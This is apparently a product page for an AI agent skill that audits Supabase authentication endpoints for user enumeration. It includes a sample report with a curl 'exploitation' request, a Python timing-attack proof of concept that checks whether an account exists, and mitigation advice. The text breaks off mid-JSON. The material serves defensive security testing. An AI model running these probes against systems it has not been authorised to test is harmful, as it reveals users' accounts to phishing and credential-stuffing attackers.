Claude
Skills
Sign in
โ† Back

supabase-audit-auth-users

Included with Lifetime
$97 forever

Test for user enumeration vulnerabilities through various authentication endpoints.

Security

What this skill does


# User Enumeration Audit

> ๐Ÿ”ด **CRITICAL: PROGRESSIVE FILE UPDATES REQUIRED**
>
> You MUST write to context files **AS YOU GO**, not just at the end.
> - Write to `.sb-pentest-context.json` **IMMEDIATELY after each endpoint tested**
> - Log to `.sb-pentest-audit.log` **BEFORE and AFTER each test**
> - **DO NOT** wait until the skill completes to update files
> - If the skill crashes or is interrupted, all prior findings must already be saved
>
> **This is not optional. Failure to write progressively is a critical error.**

This skill tests for user enumeration vulnerabilities in authentication flows.

## When to Use This Skill

- To check if user existence can be detected
- To test login, signup, and recovery flows for information leakage
- As part of authentication security audit
- Before production deployment

## Prerequisites

- Supabase URL and anon key available
- Auth endpoints accessible

## What is User Enumeration?

User enumeration occurs when an application reveals whether a user account exists through:

| Vector | Indicator |
|--------|-----------|
| Different error messages | "User not found" vs "Wrong password" |
| Response timing | Fast for non-existent, slow for existing |
| Response codes | 404 vs 401 |
| Signup response | "Email already registered" |

## Why It Matters

| Risk | Impact |
|------|--------|
| Targeted attacks | Attackers know valid accounts |
| Phishing | Confirm targets have accounts |
| Credential stuffing | Reduce attack scope |
| Privacy | Reveal user presence |

## Tests Performed

| Endpoint | Test Method |
|----------|-------------|
| `/auth/v1/signup` | Try registering existing email |
| `/auth/v1/token` | Try login with various emails |
| `/auth/v1/recover` | Try password reset |
| `/auth/v1/otp` | Try OTP for various emails |

## Usage

### Basic Enumeration Test

```
Test for user enumeration vulnerabilities
```

### Test Specific Endpoint

```
Test login endpoint for user enumeration
```

## Output Format

```
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
 USER ENUMERATION AUDIT
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

 Project: abc123def.supabase.co

 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 Signup Endpoint (/auth/v1/signup)
 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

 Test: POST with known existing email
 Response for existing: "User already registered"
 Response for new email: User object returned

 Status: ๐ŸŸ  P2 - ENUMERABLE

 The response clearly indicates if an email is registered.

 Exploitation:
 ```bash
 curl -X POST https://abc123def.supabase.co/auth/v1/signup \
   -H "apikey: [anon-key]" \
   -H "Content-Type: application/json" \
   -d '{"email": "[email protected]", "password": "test123"}'

 # If user exists: {"msg": "User already registered"}
 # If new user: User created or confirmation needed
 ```

 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 Login Endpoint (/auth/v1/token)
 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

 Test: POST with different email scenarios

 Existing email, wrong password:
 โ”œโ”€โ”€ Response: {"error": "Invalid login credentials"}
 โ”œโ”€โ”€ Time: 245ms
 โ””โ”€โ”€ Code: 400

 Non-existing email:
 โ”œโ”€โ”€ Response: {"error": "Invalid login credentials"}
 โ”œโ”€โ”€ Time: 52ms โ† Significantly faster!
 โ””โ”€โ”€ Code: 400

 Status: ๐ŸŸ  P2 - ENUMERABLE VIA TIMING

 Although the error message is the same, the response
 time is noticeably different:
 โ”œโ”€โ”€ Existing user: ~200-300ms (password hashing)
 โ””โ”€โ”€ Non-existing: ~50-100ms (no hash check)

 Timing Attack PoC:
 ```python
 import requests
 import time

 def check_user(email):
     start = time.time()
     requests.post(
         'https://abc123def.supabase.co/auth/v1/token',
         params={'grant_type': 'password'},
         json={'email': email, 'password': 'wrong'},
         headers={'apikey': '[anon-key]'}
     )
     elapsed = time.time() - start
     return elapsed > 0.15  # Threshold

 exists = check_user('[email protected]')
 ```

 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 Password Recovery (/auth/v1/recover)
 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

 Test: POST recovery request for different emails

 Existing email:
 โ”œโ”€โ”€ Response: {"message": "Password recovery email sent"}
 โ”œโ”€โ”€ Time: 1250ms (email actually sent)
 โ””โ”€โ”€ Code: 200

 Non-existing email:
 โ”œโ”€โ”€ Response: {"message": "Password recovery email sent"}
 โ”œโ”€โ”€ Time: 85ms โ† Much faster (no email sent)
 โ””โ”€โ”€ Code: 200

 Status: ๐ŸŸ  P2 - ENUMERABLE VIA TIMING

 Same message, but timing reveals existence.
 Existing users trigger actual email sending (~1s+).

 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 Magic Link / OTP (/auth/v1/otp)
 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

 Test: Request OTP for different emails

 Existing email:
 โ”œโ”€โ”€ Response: {"message": "OTP sent"}
 โ”œโ”€โ”€ Time: 1180ms
 โ””โ”€โ”€ Code: 200

 Non-existing email:
 โ”œโ”€โ”€ Response: {"error": "User not found"}
 โ”œโ”€โ”€ Time: 95ms
 โ””โ”€โ”€ Code: 400

 Status: ๐Ÿ”ด P1 - DIRECTLY ENUMERABLE

 The error message explicitly states user doesn't exist.

 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 Summary
 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

 Endpoints Tested: 4
 Enumerable: 4 (100%)

 Vulnerability Severity:
 โ”œโ”€โ”€ ๐Ÿ”ด P1: OTP endpoint (explicit message)
 โ”œโ”€โ”€ ๐ŸŸ  P2: Signup endpoint (explicit message)
 โ”œโ”€โ”€ ๐ŸŸ  P2: Login endpoint (timing attack)
 โ””โ”€โ”€ ๐ŸŸ  P2: Recovery endpoint (timing attack)

 Overall User Enumeration Risk: HIGH

 An attacker can determine if any email address
 has an account in your application.

 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 Mitigation Recommendations
 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

 1. CONSISTENT RESPONSES
    Return identical messages for all scenarios:
    "If an account exists, you will receive an email"

 2. CONSISTENT TIMING
    Add artificial delay to normalize response times:
    ```typescript
    const MIN_RESPONSE_TIME = 1000; // 1 second
    const start = Date.now();
    // ... perform auth operation ...
    const elapsed = Date.now() - start;
    await new Promise(r => setTimeout(r,
      Math.max(0, MIN_RESPONSE_TIME - elapsed)
    ));
    return response;
    ```

 3. RATE LIMITING
    Already enabled: 3/hour per IP
    Consider per-email rate limiting too.

 4. CAPTCHA
    Add CAPTCHA for repeated attempts:
    - After 3 failed logins
    - For password recovery
    - For signup

 5. MONITORING
    Alert on enumeration patterns:
    - Many requests with different emails
    - Sequential email patterns (user1@, user2@, ...)

โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
```

## Timing Analysis

The skill measures response times to detect timing-based enumeration:

```
Existing user:
โ”œโ”€โ”€ Password hash verification: ~200-300ms
โ”œโ”€โ”€ Email sending: ~1000-2000ms
โ””โ”€โ”€ Database lookup: ~5-20ms

Non-existing user:
โ”œโ”€โ”€ No hash verification: 0ms
โ”œโ”€โ”€ No email sending: 0ms
โ””โ”€โ”€ Database lookup: ~5-20ms (not found)
```

Threshold detection:
- Difference > 100ms: Possible timing leak
- Difference > 500ms: Definite timing leak

## Context Output

```json
{
  "user_enumeration": {
    "timestamp": "2025-01-31T13:30:00Z",
    "endpoints_tested": 4,
    "vulnerabilities": [
      {
        "endpoint": "/auth/v1/otp",
        "severity": "P1",
        "type": "explicit_message",
        "existing_response": "OTP sent",
        "missing_response": "User not found"
      },
      {
        "endpoint": "/auth/v1/signup",
        "severity": "P2",
        "type": "explicit_message",
        "existing_response": "User already registered",
        "missing_response": "User created"
      },
      {
        "endpoint": "/auth/v1/token",
        "severity": "P2",
        "type": "timing_attack",
        "existing_time_ms": 245,
        "missing_time_ms": 52
      },
      {
        "endpoint": "/auth/v1/recover",
        "severity": "P2",
        "type": "timing_attack",
        "existing_tim

Related in Security